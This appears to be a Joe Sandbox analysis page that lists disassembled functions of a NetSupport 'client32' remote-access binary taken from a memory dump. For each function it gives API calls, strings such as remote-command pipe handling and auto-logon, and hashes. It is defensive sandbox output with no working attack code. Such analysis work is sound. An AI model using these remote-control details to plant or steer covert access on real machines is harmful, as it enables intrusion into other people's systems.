Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExitProcess$ErrorLastMessage_memmove_memset_strrchrwsprintf
String ID: $IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$include:*exclude:
API String ID: 3157302756-4082922542
Opcode ID: 5fa9a6d9091a62bcf96ce95fdd271b1486d7ac134952205b919d46619fa590aa
Instruction ID: b34f6a0116fb1d69a557985a5491b7b4d6030798d4a68a3b28a9f1c5e1cf8312
Opcode Fuzzy Hash: 5fa9a6d9091a62bcf96ce95fdd271b1486d7ac134952205b919d46619fa590aa
Instruction Fuzzy Hash: 40A11535E0051B9FCB06CF94CC94BADF7A2BF85308F048199E8556B744EB31AA09CBD1

Function 11043050 Relevance: 10.7, APIs: 7, Instructions: 171COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 110430DC

Part of subcall function 1115F3B5: HeapFree.KERNEL32(00000000,00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3CB
Part of subcall function 1115F3B5: GetLastError.KERNEL32(00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3DD

_free.LIBCMT ref: 110430FC
_strncpy.LIBCMT ref: 1104312A
_strncpy.LIBCMT ref: 11043167
_strncpy.LIBCMT ref: 110431B2
_strncpy.LIBCMT ref: 110431F2
_strncpy.LIBCMT ref: 1104323B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncpy$_free$ErrorFreeHeapLast
String ID:
API String ID: 1231584600-0
Opcode ID: 0456254a4c2e7bc50ac517f65072d9d3a255c5533573b0ea75184e7c7b036fda
Instruction ID: 3e0d8ed6fad75e9b70bada9a66dea6ffd8c5f444cdc47759be8d9c1188c0d16e
Opcode Fuzzy Hash: 0456254a4c2e7bc50ac517f65072d9d3a255c5533573b0ea75184e7c7b036fda
Instruction Fuzzy Hash: FB615DB5E047199FD760CFB9C884BCAFBF9BB55308F0049ADD58997200DAB4A980CF91

Function 1101F140 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101F1B1

Part of subcall function 11141240: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 111412AD
Part of subcall function 11141240: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,?), ref: 111412EE
Part of subcall function 11141240: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1114134B

SHGetFolderPathA.SHFOLDER(00000000,00000005,00000000,00000000,00000000), ref: 1101F2C5
GetSaveFileNameA.COMDLG32(?), ref: 1101F2E7
_fputs.LIBCMT ref: 1101F313

Strings

ChatPath, xrefs: 1101F2A1
X, xrefs: 1101F1C1

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FolderPath$FileName$ModuleSave_fputs_memset
String ID: ChatPath$X
API String ID: 2661292734-3955712077
Opcode ID: 7d7448241aee43a2d8f22d35a57381c1f70013038142bcfdf2693d044c7d6820
Instruction ID: 6a45e0ccd222e521db2cf8660e7e75a9c6c8819791f7e0b2186df894ceae34f3
Opcode Fuzzy Hash: 7d7448241aee43a2d8f22d35a57381c1f70013038142bcfdf2693d044c7d6820
Instruction Fuzzy Hash: 6C51C275E043299FEB21DF60CC48BDEFBB4AF45704F1041D9D909AB280EB75AA84CB91

Function 1100F7E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 1100F7F9

Part of subcall function 1115CC00: std::exception::exception.LIBCMT ref: 1115CC15
Part of subcall function 1115CC00: __CxxThrowException@8.LIBCMT ref: 1115CC2A
Part of subcall function 1115CC00: std::exception::exception.LIBCMT ref: 1115CC3B

std::_Xinvalid_argument.LIBCPMT ref: 1100F81A
std::_Xinvalid_argument.LIBCPMT ref: 1100F835
_memmove.LIBCMT ref: 1100F89D

Strings

invalid string position, xrefs: 1100F7F4
string too long, xrefs: 1100F815, 1100F830

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 443534600-4289949731
Opcode ID: 280a8978ca9d2d1e0802e856971ab441fb9b2633e223f3e8f14536085e7d6fcf
Instruction ID: 71bcf7d1f46080d68891725eccc127df6be5c001ee658ca25366e07a0233fe7f
Opcode Fuzzy Hash: 280a8978ca9d2d1e0802e856971ab441fb9b2633e223f3e8f14536085e7d6fcf
Instruction Fuzzy Hash: 6F31C832F046259BE714CE6CE880B9AF7E9BF917A4B104A6FE551CB240DB70D94097E2

Function 11059670 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94fileCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C340: SetEvent.KERNEL32(00000000), ref: 1110C364

ReadFile.KERNEL32(?,?,00002000,?,00000000), ref: 1105971F
GetLastError.KERNEL32 ref: 11059759

Part of subcall function 11059310: _memmove.LIBCMT ref: 1105933B

CloseHandle.KERNEL32(?,?,0000000F), ref: 11059795

Strings

CltRemCmd, xrefs: 1105968C
close pipe read, xrefs: 110597A1
Broken ReadPipe, xrefs: 11059764

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseErrorEventFileHandleLastRead_memmove
String ID: Broken ReadPipe$CltRemCmd$close pipe read
API String ID: 1954720312-3712631252
Opcode ID: e271a85b3c6b1a2e47c40ee9b5479b1939671f78d825733734894fecb2808993
Instruction ID: f98590b3321ebf2d7a8685949c825969ab7ce924e7c7c4ef6b6dc5e542918d07
Opcode Fuzzy Hash: e271a85b3c6b1a2e47c40ee9b5479b1939671f78d825733734894fecb2808993
Instruction Fuzzy Hash: 02314175E003199BEBA4CFA98C84A9EB7F5AF49304F0045FAD51DD7242E730AA44DF92

Function 110337F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000158,000000FF,?), ref: 1103384F
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 11033864

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

GetComputerNameA.KERNEL32(?,?), ref: 11033877

Part of subcall function 11033470: SendMessageA.USER32(?,00000146,00000000,00000000), ref: 110334C3
Part of subcall function 11033470: SendMessageA.USER32(?,00000149,00000000,00000000), ref: 110334E9
Part of subcall function 11033470: SendMessageA.USER32(?,00000148,00000000,?), ref: 1103350D
Part of subcall function 11033470: _strncmp.LIBCMT ref: 11033572

SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 110338A0

Strings

pszDomain!=NULL, xrefs: 11033815
CltAutoLogon.cpp, xrefs: 11033810

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$Send$ComputerErrorExitLastNameProcess_strncmpwsprintf
String ID: CltAutoLogon.cpp$pszDomain!=NULL
API String ID: 3713365288-3180811078
Opcode ID: 1fac9cd58337a2259b95e65c66f7f6a77f48096be5f2d4f73bc3a539772c1333
Instruction ID: 2270a9e19e6c51411209d0ea500362fc0d7d1d8e806a64c789a1adc7ffb2aa97
Opcode Fuzzy Hash: 1fac9cd58337a2259b95e65c66f7f6a77f48096be5f2d4f73bc3a539772c1333
Instruction Fuzzy Hash: F021F976E146266BD701DB688CC4EDBFBE4AF85735F104365EA24AB2C0EB30A90587D0

Function 110095D0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 77fileCOMMON

Download Yara Rule

APIs

Part of subcall function 110CF020: wvsprintfA.USER32(?,11190240,?), ref: 110CF052

WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 11009686
WriteFile.KERNEL32(?,<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >,000000B9,00000000,00000000), ref: 1100969B

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

<HTML%s><Body><title>Approved URLs</title><body bgcolor="#FFFFFF"><div align="center"> <center><table > <td><div align="center"> <center><table border="1" cellspacing="0" cellpadding="3" bgcolor="#FFFFFF" bordercolor="#6089B7">, xrefs: 11009609
<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >, xrefs: 11009695
IsA(), xrefs: 1100963D, 11009665
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 11009638, 11009660

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileWrite$ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: <HTML%s><Body><title>Approved URLs</title><body bgcolor="#FFFFFF"><div align="center"> <center><table > <td><div align="center"> <center><table border="1" cellspacing="0" cellpadding="3" bgcolor="#FFFFFF" bordercolor="#6089B7">$<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >$IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 863766397-389219706
Opcode ID: a9ab368e51e575faf8e801c944165846c0240e679e3174c5e2828c94065c910c
Instruction ID: a1209e8bcef48249843ed2990b636ee265ac836deafb44f4c9fe9e5cc28cb7ac
Opcode Fuzzy Hash: a9ab368e51e575faf8e801c944165846c0240e679e3174c5e2828c94065c910c
Instruction Fuzzy Hash: 18215E75A0061DABDB00DF95DC81FEEF3B8EF48714F104259E925B3280EB746904CBA1

Function 1115F5C2 Relevance: 10.6, APIs: 7, Instructions: 74COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,0000000F,00000000,?,?,1115F6C6,11019A91,111D6F60,0000000C,1115F6F2,11019A91,?,11019A91), ref: 1115F5D7
DecodePointer.KERNEL32(?,0000000F,00000000,?,?,1115F6C6,11019A91,111D6F60,0000000C,1115F6F2,11019A91,?,11019A91), ref: 1115F5E4
__realloc_crt.LIBCMT ref: 1115F621
__realloc_crt.LIBCMT ref: 1115F637
EncodePointer.KERNEL32(00000000,?,0000000F,00000000,?,?,1115F6C6,11019A91,111D6F60,0000000C,1115F6F2,11019A91,?,11019A91), ref: 1115F649
EncodePointer.KERNEL32(11019A91,?,0000000F,00000000,?,?,1115F6C6,11019A91,111D6F60,0000000C,1115F6F2,11019A91,?,11019A91), ref: 1115F65D
EncodePointer.KERNEL32(-00000004,?,0000000F,00000000,?,?,1115F6C6,11019A91,111D6F60,0000000C,1115F6F2,11019A91,?,11019A91), ref: 1115F665

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Pointer$Encode$Decode__realloc_crt
String ID:
API String ID: 4108716018-0
Opcode ID: 7f4e889e69cccff6c52dc0f6799f7d199ddbbbff2afac02f1e6d7e91f36d2e5d
Instruction ID: 865a5de33b780d49622554ffb0a8386059ac67280241af18dea6a2ab0d8d04ff
Opcode Fuzzy Hash: 7f4e889e69cccff6c52dc0f6799f7d199ddbbbff2afac02f1e6d7e91f36d2e5d
Instruction Fuzzy Hash: EF11E976601227AFD7419FB5CCC085AFBE9EB41268715043BE826D3160FB71ED10CB61

Function 11005620 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 62windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(00000000,?), ref: 1100565D
BeginPaint.USER32(?,?), ref: 11005668
BitBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,00CC0020), ref: 1100568A
EndPaint.USER32(?,?), ref: 110056AF

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

m_hWnd, xrefs: 11005648
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11005643

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Paint$BeginClientErrorExitLastMessageProcessRectwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1216912278-2830328467
Opcode ID: 9254acf7cb2dd027ae479b73be250cafdcbc6af5c4db80bcda7f06daa57de913
Instruction ID: f46a7ba68e69644cdce5168b45270f6634ca8fb58275ab798bc32c13cb6f530c
Opcode Fuzzy Hash: 9254acf7cb2dd027ae479b73be250cafdcbc6af5c4db80bcda7f06daa57de913
Instruction Fuzzy Hash: EE118F75A40219BFE710CBA0CC85FAEF3BCEB88714F108529F61696180EA70A9048765

Function 1100B290 Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(?), ref: 1100B2A0
EnterCriticalSection.KERNEL32(?), ref: 1100B2D9
EnterCriticalSection.KERNEL32(?), ref: 1100B2F8

Part of subcall function 1100A200: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 1100A21E
Part of subcall function 1100A200: DeviceIoControl.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?), ref: 1100A248
Part of subcall function 1100A200: GetLastError.KERNEL32 ref: 1100A250
Part of subcall function 1100A200: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1100A264
Part of subcall function 1100A200: CloseHandle.KERNEL32(00000000), ref: 1100A26B

waveOutUnprepareHeader.WINMM(00000000,?,00000020), ref: 1100B308
LeaveCriticalSection.KERNEL32(?), ref: 1100B30F
_free.LIBCMT ref: 1100B318
_free.LIBCMT ref: 1100B31E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd
